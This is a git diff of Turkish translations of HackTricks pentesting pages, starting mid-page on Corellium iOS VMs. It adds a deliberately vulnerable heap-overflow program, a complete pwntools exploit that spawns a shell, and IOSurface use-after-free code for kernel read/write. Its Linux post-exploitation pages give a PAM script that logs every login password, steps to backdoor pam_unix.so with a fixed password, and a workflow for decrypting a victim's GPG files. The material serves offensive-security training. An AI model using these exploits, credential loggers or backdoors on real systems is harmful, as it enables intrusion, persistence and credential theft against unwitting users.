Sideloadly)** +- Eğer bir provisioning profile yoksa, Apple ID'nizle yeniden imzalamak için **Sideloadly** kullanın veya Xcode'da oturum açın. +- VM'i Xcode'a görünür kılmak için ayrıca **USBFlux** kullanabilirsiniz (bkz. §5). + + +- SSH olmadan hızlı loglar/komutlar için, UI'deki cihaz **Console**'u kullanın. + +## **Ekstralar** + +- **Port-forwarding** (VM'in diğer araçlar için yerel gibi hissetmesini sağlar): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: cihaz sayfasının alt kısmında gösterilen **LLDB/GDB stub** adresini kullanın (CONNECT → LLDB). + +- **USBFlux (macOS/Linux)**: VM'i **Xcode/Sideloadly**'e bir kablolu cihaz gibi sunun. + + +## **Yaygın tuzaklar** +- **Proper signing** is required on **non-jailbroken** devices; unsigned IPAs won’t launch. +- **Quick Connect vs VPN**: Quick Connect en basitidir; cihazı yerel ağınızda kullanmanız gerektiğinde (ör. yerel proxies/tools) **VPN** kullanın. +- **No App Store** on Corellium devices; kendi (re)signed IPAs'ınızı getirin. + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..d429930c5 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS Corellium'a Nasıl Bağlanılır + +{{#include ../../banners/hacktricks-training.md}} + +## Zafiyet Kodu +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached — spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes → overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +Şunu kullanarak derleyin: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> Bu exploit NanoZone'u devre dışı bırakmak için env variable `MallocNanoZone=0`'ı ayarlıyor. Bu, küçük boyutlarda `malloc` çağırıldığında bitişik allocations elde etmek için gerekli. Aksi takdirde farklı mallocs farklı zones'a allocate edilecek ve bitişik olmayacaklar; dolayısıyla overflow beklenildiği gibi çalışmayacak. +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..26a5fa568 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden alınmış bir özet olup, bu tekniği kullanan exploit hakkında daha fazla bilgi için [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresine bakabilirsiniz. + +### XNU'da Bellek Yönetimi + +iOS'taki kullanıcı süreçleri için **sanal bellek adres alanı** **0x0 ile 0x8000000000** arasını kapsar. Ancak bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine **kernel**, sanal adresleri gerçek **fiziksel adreslere** çevirmek için **sayfa tabloları** kullanır. + +#### iOS'ta Sayfa Tablolarının Seviyeleri + +Sayfa tabloları hiyerarşik olarak üç seviyede düzenlenmiştir: + +1. **L1 Page Table (Level 1)**: +* Buradaki her giriş sanal belleğin büyük bir aralığını temsil eder. +* **0x1000000000 byte** (veya **256 GB**) sanal belleği kapsar. +2. **L2 Page Table (Level 2)**: +* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini, özellikle **0x2000000 byte** (32 MB) kapsar. +* Bir L1 girişi, tüm bölgeyi kendisi eşleyemiyorsa bir L2 tablosuna işaret edebilir. +3. **L3 Page Table (Level 3)**: +* En ince seviye budur; her giriş tek bir **4 KB** bellek sayfasını eşler. +* Daha ayrıntılı kontrol gerektiğinde bir L2 girişi bir L3 tablosuna işaret edebilir. + +#### Sanalden Fiziksele Haritalama + +* **Direct Mapping (Block Mapping)**: +* Sayfa tablosundaki bazı girişler, sanal adreslerin bir aralığını bitişik bir fiziksel adres aralığına doğrudan **eşler** (kısayol gibi). +* **Pointer to Child Page Table**: +* Daha ince kontrol gerektiğinde, bir seviyedeki bir giriş (ör. L1) bir alt seviye sayfa tablosuna (ör. L2) işaret edebilir. + +#### Sanal Adresin Haritalanmasına Örnek + +Örneğin sanal adres **0x1000000000**'a erişmeye çalıştığınızı varsayalım: + +1. **L1 Table**: +* kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir **L2 sayfa tablosuna** işaret ediyorsa, o L2 tablosuna gider. +2. **L2 Table**: +* kernel daha ayrıntılı bir haritalama için L2 sayfa tablosunu denetler. Eğer bu giriş bir **L3 sayfa tablosuna** işaret ediyorsa, oraya ilerler. +3. **L3 Table**: +* kernel son L3 girişini arar; bu giriş gerçek bellek sayfasının **fiziksel adresine** işaret eder. + +#### Adres Haritalamaya Örnek + +Eğer L2 tablosunun ilk indeksine fiziksel adres **0x800004000** yazarsanız: + +* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler, **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere eşlenir. +* Bu, L2 seviyesinde bir **block mapping**'dir. + +Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa: + +* **0x1000000000 -> 0x1002000000** sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişlerle eşlenecektir. + +### Physical use-after-free + +Bir **physical use-after-free** (UAF) şu durumda ortaya çıkar: + +1. Bir süreç belli bir belleği **okunabilir ve yazılabilir** olarak **ayırır** (allocate). +2. Bu belleğe süreç erişebilmesi için **sayfa tabloları**, bu belleği belirli bir fiziksel adrese eşleyecek şekilde güncellenir. +3. Süreç belleği **serbest bırakır** (deallocate/free). +4. Ancak bir **bug** nedeniyle kernel, ilgili fiziksel belleğin serbest olarak işaretlenmesine rağmen sayfa tablosundaki **eşlemeyi kaldırmayı unutabilir**. +5. kernel daha sonra bu "serbest" fiziksel belleği başka amaçlar için, örneğin **kernel verisi** için **yeniden ayırabilir**. +6. Eşleme kaldırılmadığı için süreç hala bu fiziksel belleği **okuyup yazabilir**. + +Bu, sürecin **kernel belleği sayfalarına** erişebilmesi anlamına gelir; bu sayfalar hassas veri veya yapılar içerebilir ve saldırganın **kernel belleğini manipüle etmesine** izin verebilir. + +### IOSurface Heap Spray + +Saldırgan, hangi kernel sayfalarının serbest kalan belleğe atanacağını kontrol edemediği için **heap spray** adı verilen bir teknik kullanır: + +1. Saldırgan kernel belleğinde çok sayıda **IOSurface** nesnesi oluşturur. +2. Her IOSurface nesnesi bir alanında kolayca tanımlanabilen bir **magic value** içerir. +3. Serbest bırakılmış sayfaları **tarayarak** bu IOSurface nesnelerinden herhangi birinin serbest sayfaya yerleşip yerleşmediğine bakarlar. +4. Bir serbest sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler. + +Bu konuda daha fazla bilgi için [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresine bakın. + +> [!TIP] +> iOS 16+ (A12+) cihazlarının donanım tabanlı mitigasyonlar (PPL veya SPTM gibi) getirdiğini ve bunun fiziksel UAF tekniklerini büyük ölçüde daha az uygulanabilir hale getirdiğini unutmayın. +> PPL, kod imzalama, yetkiler ve hassas kernel verileriyle ilişkili sayfalar üzerinde sıkı MMU korumaları uygular; dolayısıyla bir sayfa yeniden kullanılsa bile userland'den veya ele geçirilmiş kernel kodundan PPL ile korunan sayfalara yazmalar engellenir. +> Secure Page Table Monitor (SPTM), PPL'yi sayfa tablosu güncellemelerini sertleştirerek genişletir. Bu, ayrıcalıklı kernel kodunun bile serbest bırakılmış sayfaları sessizce yeniden eşlemesine veya eşlemeleri kötüye kullanmasına izin vermeyen güvenli kontrollerden geçmesi gerektiğini sağlar. +> KTRR (Kernel Text Read-Only Region), kernel'in kod bölümünü boot sonrası salt okunur olarak kilitler. Bu, runtime sırasında kernel kodu üzerinde yapılacak değişiklikleri engelleyerek fiziksel UAF exploit'lerinin sıklıkla dayandığı önemli bir saldırı vektörünü kapatır. +> Ayrıca, `IOSurface` tahsisleri artık daha az öngörülebilir ve kullanıcı tarafından erişilebilir bölgelere eşlemek zor olduğundan, "magic value tarama" hilesi çok daha az güvenilir hale gelmiştir. Ve `IOSurface` artık entitlements ve sandbox kısıtlamaları ile korunmaktadır. + +### Adım Adım Heap Spray Süreci + +1. **Spray IOSurface Objects**: Saldırgan özel bir tanımlayıcı ("magic value") ile çok sayıda IOSurface nesnesi oluşturur. +2. **Scan Freed Pages**: Oluşturulan nesnelerden herhangi birinin serbest bırakılmış bir sayfaya yerleşip yerleşmediğini kontrol ederler. +3. **Read/Write Kernel Memory**: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde **keyfi okuma ve yazma** yapma yeteneği kazanırlar. Bu sayede: +* Bir alanı kernel belleğindeki herhangi bir 32-bit değeri **okumak** için kullanabilirler. +* Başka bir alanı 64-bit değerleri **yazmak** için kullanarak kararlı bir **kernel read/write primitive** elde edebilirler. + +Daha sonra aramak için IOSurface nesnelerini IOSURFACE\_MAGIC sihirli değeriyle oluşturun: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +Bir serbest bırakılmış fiziksel sayfadaki **`IOSurface`** nesnelerini ara: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### IOSurface ile Kernel Okuma/Yazma Elde Etme + +Kernel belleğindeki bir IOSurface nesnesi üzerinde kontrol elde ettikten sonra (userspace'ten erişilebilen boşaltılmış bir fiziksel sayfaya eşlenmiş), bunu **arbitrary kernel read and write operations** için kullanabiliriz. + +**IOSurface İçindeki Ana Alanlar** + +IOSurface nesnesinin iki kritik alanı vardır: + +1. **Use Count Pointer**: Bir **32-bit read** sağlar. +2. **Indexed Timestamp Pointer**: Bir **64-bit write** sağlar. + +Bu pointer'ları overwrite ederek bunları kernel memory içindeki arbitrary adreslere yönlendiririz ve böylece read/write yetenekleri elde ederiz. + +#### 32-Bit Kernel Okuma + +Bir okuma gerçekleştirmek için: + +1. **use count pointer**'ı hedef adresin 0x14-byte offset eksiğine işaret edecek şekilde overwrite edin. +2. `get_use_count` metodunu kullanarak o adresteki değeri okuyun. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64-Bit Kernel Write + +Bir yazma işlemi gerçekleştirmek için: + +1. Hedef adrese **indexed timestamp pointer**'ı üzerine yazın. +2. `set_indexed_timestamp` yöntemini kullanarak 64-bit bir değer yazın. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Exploit Akışı Özeti + +1. **Trigger Physical Use-After-Free**: Boş sayfalar yeniden kullanım için uygun hale gelir. +2. **Spray IOSurface Objects**: Çekirdek bellekte benzersiz bir "magic value" ile çok sayıda IOSurface nesnesi ayırın. +3. **Identify Accessible IOSurface**: Kontrolünüzdeki serbest bırakılmış bir sayfada bir IOSurface bulun. +4. **Abuse Use-After-Free**: IOSurface nesnesindeki pointerları değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel read/write** sağlayın. + +Bu primitives ile exploit, çekirdek belleğe kontrollü **32-bit reads** ve **64-bit writes** sağlar. İlave jailbreak adımları daha stabil read/write primitives gerektirebilir; bu da ek korumaların atlatılmasını (ör. yeni arm64e cihazlarda PPL) gerektirebilir. + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 258ef9aa4..61a0f9863 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,23 +4,23 @@ ## Sniffing Logon Passwords with PAM -Her kullanıcının login sırasında kullandığı parolayı kaydedecek bir PAM modülü yapılandıralım. PAM'in ne olduğunu bilmiyorsanız kontrol edin: +Bir PAM modülünü, her kullanıcının girişte kullandığı her şifreyi kaydedecek şekilde yapılandıralım. PAM nedir bilmiyorsanız bakın: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**Daha fazla detay için [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)'u kontrol edin**. Bu sadece bir özet: +**Daha fazla ayrıntı için [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Bu sadece bir özet: -**Technique Overview:** -Pluggable Authentication Modules (PAM), Unix tabanlı sistemlerde kimlik doğrulamayı yönetmede esneklik sağlar. Login süreçlerini özelleştirerek güvenliği artırabilirler ancak kötüye kullanıldıklarında risk oluştururlar. Bu özet, PAM kullanarak login kimlik bilgilerini ele geçirme tekniğini ve azaltma stratejilerini ana hatlarıyla verir. +**Teknik Genel Bakış:** +Pluggable Authentication Modules (PAM) Unix tabanlı sistemlerde kimlik doğrulamanın yönetilmesine esneklik sağlar. Giriş süreçlerini özelleştirerek güvenliği artırabilirler, ancak kötüye kullanıldıklarında risk oluştururlar. Bu özet, PAM kullanarak giriş kimlik bilgilerini yakalamaya yönelik bir tekniği ve bunu hafifletme stratejilerini özetlemektedir. -**Capturing Credentials:** +**Kimlik Bilgilerinin Yakalanması:** -- `toomanysecrets.sh` adında bir bash script oluşturularak login denemelerini kaydeder; tarih, kullanıcı adı (`$PAM_USER`), parola (stdin aracılığıyla) ve remote host IP (`$PAM_RHOST`) `/var/log/toomanysecrets.log` dosyasına yazılır. -- Script çalıştırılabilir hale getirilir ve `common-auth` PAM konfigürasyonuna `pam_exec.so` modülü ile sessiz çalıştırma ve authentication token'ını script'e açma seçenekleri kullanılarak entegre edilir. -- Bu yaklaşım, ele geçirilmiş bir Linux hostunun kimlik bilgilerini gizlice kaydetmek için nasıl sömürülebileceğini gösterir. +- `toomanysecrets.sh` adlı bir bash scripti, giriş denemelerini kaydetmek için hazırlanır; tarih, kullanıcı adı (`$PAM_USER`), parola (stdin aracılığıyla) ve uzak host IP'si (`$PAM_RHOST`) `/var/log/toomanysecrets.log` dosyasına kaydedilir. +- Script çalıştırılabilir hale getirilir ve `pam_exec.so` modülü kullanılarak PAM yapılandırmasına (`common-auth`) entegre edilir; modüle sessiz çalışması ve kimlik doğrulama belirtecini script'e iletmesi için seçenekler verilir. +- Bu yaklaşım, ele geçirilmiş bir Linux host'unun kimlik bilgilerini gizlice kaydetmek için nasıl sömürülebileceğini gösterir. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -32,33 +32,32 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Daha fazla detay için [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)’a bakın.** Bu sadece bir özet: +**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Bu sadece bir özet: -Pluggable Authentication Module (PAM), Linux altında kullanıcı doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerinde çalışır: **kullanıcı adı**, **parola** ve **servis**. Her servis için yapılandırma dosyaları `/etc/pam.d/` dizininde bulunur; kimlik doğrulamayı paylaşılan kütüphaneler yönetir. +Pluggable Authentication Module (PAM), Linux altında kullanıcı kimlik doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerine çalışır: **username**, **password**, ve **service**. Her service için yapılandırma dosyaları `/etc/pam.d/` dizininde bulunur; kimlik doğrulama shared library'ler tarafından yürütülür. -**Amaç**: PAM'i, gerçek kullanıcı parolasını atlayarak belirli bir parola ile kimlik doğrulamasına izin verecek şekilde değiştirmek. Bu özellikle `pam_unix.so` paylaşılan kütüphanesine odaklanır; bu kütüphane parola doğrulaması için neredeyse tüm servisler tarafından dahil edilen `common-auth` dosyası tarafından kullanılır. +**Objective**: PAM'i, gerçek kullanıcı parolasını atlayarak belirli bir parola ile kimlik doğrulamaya izin verecek şekilde değiştirmek. Bu özellikle parola doğrulama için neredeyse tüm servisler tarafından include edilen `common-auth` dosyası tarafından kullanılan `pam_unix.so` shared library'si üzerinde yoğunlaşır. ### Steps for Modifying `pam_unix.so`: -1. **Kimlik Doğrulama Direktifini Bulun** `common-auth` dosyasında: -- Bir kullanıcının parolasını kontrol eden satır `pam_unix.so`'yu çağırır. -2. **Kaynak Kodu Değiştirin**: -- `pam_unix_auth.c` kaynak dosyasına, önceden tanımlanmış bir parola kullanıldığında erişim veren; aksi halde normal kimlik doğrulama sürecine devam eden bir koşul ifadesi ekleyin. -3. **Yeniden Derleyin ve Değiştirin**: -- Değiştirilmiş `pam_unix.so` kütüphanesini uygun dizinde yeniden derleyip yerine koyun. -4. **Test**: -- Önceden tanımlanmış parola ile login, ssh, sudo, su, screensaver gibi çeşitli servislerde erişim sağlanır; normal kimlik doğrulama süreçleri etkilenmez. +1. **Locate the Authentication Directive** in the `common-auth` file: +- The line responsible for checking a user's password calls `pam_unix.so`. +2. **Modify Source Code**: +- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. +3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. +4. **Testing**: +- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected. > [!TIP] -> Bu işlemi [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ile otomatikleştirebilirsiniz +> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) -## Homedir taşınarak GPG loot'un şifresini çözme +## Decrypting GPG loot via homedir relocation -Eğer şifreli bir `.gpg` dosyası ve bir kullanıcının `~/.gnupg` klasörünü (pubring, private-keys, trustdb) bulursanız fakat GnuPG homedir izinleri/kilitleri nedeniyle şifreyi çözemiyorsanız, keyring'i yazılabilir bir konuma kopyalayın ve bunu GPG home olarak kullanın. +Şifrelenmiş bir `.gpg` dosyası ve bir kullanıcının `~/.gnupg` klasörünü (pubring, private-keys, trustdb) bulduğunuzda ama GnuPG homedir izinleri/lock'ları nedeniyle decrypt yapamıyorsanız, keyring'i yazılabilir bir yere kopyalayın ve bunu GPG home olarak kullanın. -Bunu yapmazsanız göreceğiniz tipik hatalar: "unsafe ownership on homedir", "failed to create temporary file", veya "decryption failed: No secret key" (çünkü GPG orijinal homedir'i okuyamaz/yazamaz). +Bunun olmaması durumunda göreceğiniz tipik hatalar: "unsafe ownership on homedir", "failed to create temporary file", veya "decryption failed: No secret key" (çünkü GPG orijinal homedir'i okuyup/yazamıyor). -İş akışı: +Workflow: ```bash # 1) Stage a writable homedir and copy the victim's keyring mkdir -p /dev/shm/fakehome/.gnupg @@ -71,8 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg # or gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg ``` -Gizli anahtar materyali `private-keys-v1.d` içinde mevcutsa, GPG parola sormadan kilidi açar ve şifreyi çözer (veya anahtar korunuyorsa parola ister). - +Eğer gizli anahtar materyali `private-keys-v1.d` içinde bulunuyorsa, GPG passphrase sormadan unlock ve decrypt eder (anahtar korumalıysa passphrase istenir). ## Referanslar diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 300ec0cca..28472ffe8 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Sistem Bilgisi +## Sistem Bilgileri ### OS bilgisi -Çalışan işletim sistemi hakkında bilgi edinmeye başlayalım. +Çalışan OS hakkında bazı bilgiler edinmeye başlayalım. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### PATH -Eğer `PATH` değişkenindeki herhangi bir klasörde **yazma izinlerine** sahipseniz bazı kütüphaneleri veya ikili dosyaları hijack edebilirsiniz: +Eğer **`PATH` değişkenindeki herhangi bir klasörde yazma izniniz** varsa bazı kütüphaneleri veya binaries dosyalarını ele geçirebilirsiniz: ```bash echo $PATH ``` -### Ortam bilgisi +### Env info -Çevresel değişkenlerde ilginç bilgiler, parolalar veya API anahtarları var mı? +İlginç bilgiler, şifreler veya API anahtarları environment variables içinde mi? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kernel sürümünü kontrol edin ve escalate privileges için kullanılabilecek bir exploit olup olmadığını araştırın. +Çekirdek sürümünü kontrol edin ve ayrıcalıkları yükseltmek için kullanılabilecek bir exploit olup olmadığını araştırın. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Burada iyi bir vulnerable kernel listesi ve bazı zaten **compiled exploits** bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Burada güvenlik açığı bulunan iyi bir kernel listesi ve bazı hazır **compiled exploits** bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Bazı **compiled exploits** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -O siteden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz: +Bu siteden tüm güvenlik açığı bulunan kernel sürümlerini çıkarmak için şunu yapabilirsiniz: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Çekirdek exploit'lerini aramanıza yardımcı olabilecek araçlar: +kernel exploits aramak için yardımcı olabilecek araçlar: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, sadece kernel 2.x için exploits'leri kontrol eder) -Her zaman **çekirdek sürümünü 